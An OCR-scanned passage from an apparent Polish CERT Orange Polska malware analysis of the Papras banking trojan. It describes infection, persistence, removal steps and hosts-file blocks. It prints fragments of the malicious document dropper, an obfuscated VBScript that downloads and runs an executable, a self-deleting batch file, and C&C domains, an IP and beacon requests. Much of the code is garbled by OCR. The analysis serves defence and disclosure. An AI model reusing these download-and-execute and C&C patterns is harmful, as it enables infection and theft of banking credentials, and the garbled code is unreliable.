hs2Uz3qEzWaWzXoYzWaWz3qszGZWzHpAzGZWznrUy2ZunPXQIs2smvX4lc2snvUgNdZ4adITOVi+
LONnRZixfnvSMMpZflvSwMZZfnv TUMJZKT4L5ZfmfQcL5a/MemBXCy/KundWiy/OukRGULsSMEh6
1jV//P94/B+pfbyrEAAN8JKCAAAMAQAAIQIAAAAAAAAZBAAA/WEEAAAAVQAEAAEA//IBAAAAAAAAA

AAAAAAAAAAAAVGAFAAIAIIBAAAAAAAAAAAAAAAAAAAAAVGAGAAAA/ISBAAAAAAAAAAAAAAAAAAAAA
VOAHAAMA/IBAAAAAAAAAAAAAAAAAAAAAEPI/IBAACACAAUABYAG8AagBIAGMAJAAUAFQAaABpAHMA
RABVAGMAJQBtAGUAbgBOAC4AcgBIAHQACcgBIAHQAZQBYAGUAZQBIAAEAHQBQAHIAbwBGAGUAYWBO
AC4AVABoAGKACcWBEAGSAYwB1AGOAZQBUAHQALgBBAHUAJABVAESACABIAG4AAQAIAFAACgBVAGOA

ZQBjAHQALgBUAGgAaQBzAEQAbwBJAHUAbQBIAG4AJAAUAFcAbwBYAGsAYgBVAG8AawBfAESACABI

AG4AAQAJAFAACcgBVAGOoAZQBJAHQALGBNAGBAZABTAGWAZQAXAC4AbwBQAESAVQBKAEKATWBZzAGQA
ZgB3AGUACgABABEEAACAHQBQAFIATWBKAEUAQWBUAC4ATQBPAEQAVQBMAEUAMQAUAESAUABPAFUA
SgBJAESAUWBEAEYAVWBFAFIAAAAEABOAUABSAESASgBFAEMAVAAUAFQASABJAFMARABPAEMAVQBN
AEUATgBUAC4AQQBVAFQATWBPAFAARQBOAAAABQAgAFAAUGBPAEOARQBDAFQALgBUAEgASQBTAEQA
TwBDAFUATQBFAE4AVAAUAFIARQBUAFIARQBUAEUAUgBFAEUARQAAAAUAIGBQAFIATWBKAEUAQwBU
AC4AVABIAEKAUWBEAESAQWBVAEOARQBOAFQALGBXAESAUgBLAEIATWBPAESAXWBPAFAARQBOAAAA

QAAAC/AEAAAAE]RWeD==
—————— = NextPart_01D062F6.EA2D7970

Content-Location: file:///C:/CD289E43/1.doc.files/filelist.xml

Content-Transfer-Encoding: quoted-printable
Content-Type: text/xml; charset="utf-8"

<xml xmins:o0=3D"urn:schemas-microsoft-com:office:office">

<o0:MainFile HRef=3D"../1.doc.htm"/>
<o:File HRef=3D"editdata.mso"/>

<o:File HRef=3D"filelist.xml"/>

</xml>

—————— =_NextPart_01D062F6.EA2D7970--"4

W pierwszej fazie dropper tworzyt plik o nazwie
vvvvvvvv5D.exe, ktory nastepnie pobierat plik z serwisu
PASTEBIN.com w sposob przedstawiony ponizej:

POST /download.php?i=KWasZJOR HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727;
.NET CLR

3.0.04506.648; .NET CLR 3.5.21022)

Host: pastebin.com

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

W nastepnym kroku z pobranego pliku tekstowego
skrypt VisualBasic o nazwie sdfsdfRRdsf.vbs byt
najpierw tworzony, a nastepnie uruchamiany. Oprécz
szeregu zaciemnionych funkcji utrudniajacych analize
kodu zawierat on adres IP serwera, z ktérego pobierany
byt ostatecznie plik wykonywalny.

Ponizszy zrzut ekranu (rysunek 65.) pokazuje zawartos¢
ztosliwego skryptu wraz z adresem IP.

Skrypt pobierat plik o nazwie 83.exe, zas po jego
uruchomieniu wirus infekowal system, dodajac do
rejestru klucz uruchamiajacy go automatycznie przy
kazdym restarcie komputera, a takze tworzac swoj
plik wykonywalny w katalogach systemowych systemu

operacyjnego Windows. Nastepnie tworzony byt skrypt
o nazwie 8D1C.bat usuwajacy plik 83.exe oraz siebie
samego.

Zawartos¢ pliku 8D1C.bat:

attrib -r -s -h %1
112675511

del %1

if exist %1 goto 12675511
del %0

Po petnej aktywacji wirus uruchamiat komunikacje
z serwerem Command & Control (C&C), odpytujac
o kolejne polecenia. Testowana probka taczyta sie
z czterema domenami:

fooofoooofooo.com
olanajolandiv.com
jolanajolandiv.com
woofboots.com

Natychmiast po dokonaniu analizy dostep do
powyzszych domen zostat zablokowany z sieci Orange,
wiec nawet w przypadku, gdy uzytkownik nie uniknat
infekciji, jesli korzysta z sieci Orange, ztosliwy kod nie
bedzie mogt pobraé instrukcji od cyberprzestepcy.

with OIROhsdf

type = 1

.open

.write NJhuiguifgIYUdg.responseBody
.savetofile NJEnjdsg, 2

0000037F end with

000003¢5 UIuerfwerfffgwer.Open NJKnjdsg

et oloyOIsdfsdfg = Wdcript.CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & chr(112) &
Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Enviromment(Chr(80) & Chr(114)
& Chr(111l) & Chr(9%) & Chr(101) & Chr(115) & Chr(115) )

Uluerfwerfffg = oloyOIsdfsdfg(Chr(84) & Chr(é9) & Chr(77) & Chr(80) )

|NJEnjdsg = UTuerfwerfffg + Chr(92) & Chr(118) & Chr(118) & Chr(118) & Chr(118) & Chr(118) & Chr(118) &
Chr{118) & Chr(118) & Chr(53) & Chr(é8) & Chr(46) & Chr(l01l) & Chr(l20) & Chr(101l)

00000384 Set UIuerfwerfffgwer = CreateOhject("Shell.Application")

000003E8 dim iohUOGsdfsfffff: Set iohUOGsdfsfffff = createobject("Microsoft.iMLHTTE")

00000437 dim iohUOGsdfsfffffdf: Set iohUOGsdfsfffffdf = createabjkct("Adadb.Strsam”)
NANNN4AS 1 akiiPEad f2ffFFF Mman Che (1Y £ Phe {69 £ Mhe (040 Fhef104Y £ Phed118Y £ Ml f118Y £ Che(112Y £

Rysunek 65. Zawartos¢ skryptu wraz z adresem IP
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Oto przyktad komunikacji wirusa z serwerami Command & Control:

fooofoooofooo.com Service Port: 80

GET /ttbsceiu.php?ctjcva=zlookNYQORM74g240Pts1u+8+1PUilwjvVBAooCEWVN1ItBj5L1ZzIB6zxF
f2RYS8loPamvEfKB7cuuHTWW42CDOUOXxtct6R400mAIOqqLvhdDVvmw+y7G/
vTaPWfwh930SEA4CCknx5+zwlLbJyT0Z== HTTP/1.1 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

olanajolandiv.com Service Port: 80

GET /tnsunfxc.php ?rkxgjlpy=NPBI0zC07E807ROJN2nMUyxUmOgpbHS3NMFohcZXqw/LXMWocS+ETfAYo
y65mjqOWK8hrbLcnFvwHY+tKiC7XMn1gM6/KgtC+pnRL3TVyB7/kb/BROh2vHWIO0iSHMwmMoHJbAKmM/2A4ar0OKBz9Pzj==
HTTP/1.1 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

jolanajolandiv.com Service Port: 80

GET /tnoeraulx.phpexshfhw=+1v5X0FSEZIeuHzFkuJb2GbQIXL8MOFTSF30XIqypkn6UjyFak+5m+97If8hFOEB/
GA5d2tiSuURArmrYS7ilpSNxckgx7kGoH2SCxmB7A0T2hhy5RpR0kaSzqvu0/7CPJ791FIOYXxP2R1h2Cd8sZN== HTTP/1.1

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

woofboots.com Service Port: 80

GET /tgsmhlal.php ?adugvkv=TDBulZklpg+bn/gKnTAp8UmFulG60OXZK0nnCa4CA18/DJ/5ae3LhY35dg/
2calwpVi6hosAuhRkqKODJXDkxoopOtDOxyFrsxsU6jRIBCrSRpoNXB/ypTs5LC54ulUw3kwhrzO97mRKthewZFZqHIWWn==
HTTP/1.1 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64)

CERT Orange Polska odnotowat wzmozong aktywnosé
wirusa Papras dwukrotnie, dzien po dniu. Schemat
dziatania kampanii roznit sie jedynie odnosnikiem
do serwisu Pastebin.com (pastebin.com/download.
php?i=yDLnH1eT) oraz odwotaniem do adresu serwera
IP 91.215.138.112/bt/bt/get7.php, prowadzacym do pliku

Drugi wariant komunikacji kampanii wirusa:

fooofoooofooo.com
GET /ttbsceiu.

wykonywalnego o zaufanej nazwie. Wskazywata ona
najprawdopodobniej na skrot Service Pack 1 - ,sp1.
exe“, nierzucajacy sie w oczy w logach komunikaciji.
W momencie analizy w sieci Orange dotknietych infekcja
byto 8664 unikalnych uzytkownikéw.

php?ctjcva=zlookNYQORM74g240Pts1u+8+1PUilwjvVBAooCEWVN1ItBj5LIZzIB6zxFf2RYS8loPamvEfKB7cuuHTWWA42C
DOUOxtct6R400mAIOqqLvhdDVWmw+y7G/vTaPWfwh930SEA4CCknx5+zwlLbJyT0Z== HTTP/1.1  Mozilla/4.0

(compatible; MSIE 8.0; Windows NT 6.1)

GET /tnsunfxc.php ?rkxgjlpy=NPBI0zC07E807ROJN2nMUyxUm0gpbHS3NMFohcZXqw/
LXMWocS+ETfAYoy65mjqOWK8hrbLcnFvwHY+tKjC7XMn1gM6/KgtC+pnRL3TVyB7/k5/
BR9h2vHwI0oisSHmwmMoHJbAKmM/2A4arOKBz9Pzj== HTTP/1.1 Mozilla/4.0

jolanajolandiv.com

GET /tnoeraulx.php ?exshfhw=+1v5X0F8EZleuHzFkuJb2GbQIXL8MIOFTSF30XIqypkn6UjyFak+5m+97If8hFOEB/
GAb5d2tiSURArmrYS7ilpSNxckgx7kGoH2SCxmB7A0T2hhy5RpR0kaSzqvu0/7CPJ791FIOYXxP2R1h2Cd8sZN== HTTP/1.1

Czym jest Trojan Papras i jakie niesie ze soba zagro-
zenia?

To rozbudowany tzw. RAT (Remote Administrator Tool),
umozliwiajacy praktycznie petny dostep do komputera
uzytkownika bez jego wiedzy, na wszystkich systemach
z rodziny Windows (réwniez Windows 8) zaréwno
architekturze 32-bitowej, jak i 64-bitowej. Papras moze
m.in.:

* pobraé, zapisaé¢ i uruchomié¢ okreslony program na
zainfekowanym komputerze,

» zaktualizowac swoje ztosliwe funkcje,

* wykrasé pliki cookie z przegladarek internetowych
Internet Explorer, Firefox i Google Chrome,

° wyszukaé¢ i wystaé na serwer cyberprzestepcy
np. certyfikaty bankowych podpiséw cyfrowych
stuzacych uzytkownikowi do uwierzytelniania
przelewow,

* wystaé atakujacemu liste proceséw dziatajacych na
zainfekowanej maszynie,

¢ usuna¢ pliki cookie znajdujace sie na komputerze,

* wiaczyé serwer VNC umozliwiajacy podglad pulpitu
uzytkownika przez cyberprzestepce w czasie
rzeczywistym,

* wyszukagé pliki na zainfekowanym komputerze.

Wirus tworzyt na zainfekowanym komputerze
w lokalizacji C:\WINDOWS\system32\ plik o nazwie
»clbmuid.exe” (rysunek 66.) zas w lokalizacji ,HKEY_
CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run” generowat wpis do rejestru
powodujacy automatyczne uruchamianie pliku
»clbmuid.exe” (rysunek 67.).

Jak usunaé wirusa Papras?

¢ Uruchom system w trybie awaryjnym.

* W menu start w oknie ,Wyszukaj programy i pliki”
wpisz Regedit, uruchom znaleziony plik regedit.exe.

* Wcisnij Ctrl-F, w oknie wyszukiwania wpisz clbmuid.exe,
usun znaleziony wpis.

* Otwoérz lokalizacje C:\WINDOWS\system32\,
odszukaj plik clbmuid.exe.

* Usun go.

Dla zaawansowanych uzytkownikow

Jesli potrzebujesz w przysziosci zablokowac¢ potaczenie
z serwerami Command & Control tej grupy przestepczej,
wyedytuj (z prawami administratora) plik hosts znajdujacy
sie w lokalizacji C:\Windows\System32\drivers\etc\
i wklej don linie znajdujace sie na nastepnej stronie.
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Rysunek 67. Lokalizacja wpisu rejestru automatycznie uruchamiajacego plik ,clbmuid.exe”

127.0.0.1 fooofoooofooo.com # Blokada serwera Command & Control wirusa win32/Papras.EB —
CERT Orange Polska

127.0.0.1 olanajolandiv.com # Blokada serwera Command & Control wirusa win32/Papras.EB -
CERT Orange Polska

127.0.0.1 jolanajolandiv.com # Blokada serwera Command & Control wirusa win32/Papras.EB —
CERT Orange Polska

127.0.0.1 woofboots.com # Blokada serwera Command & Control wirusa win32/Papras.EB -
CERT Orange Polska
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Wiecej informaciji znajdziesz na



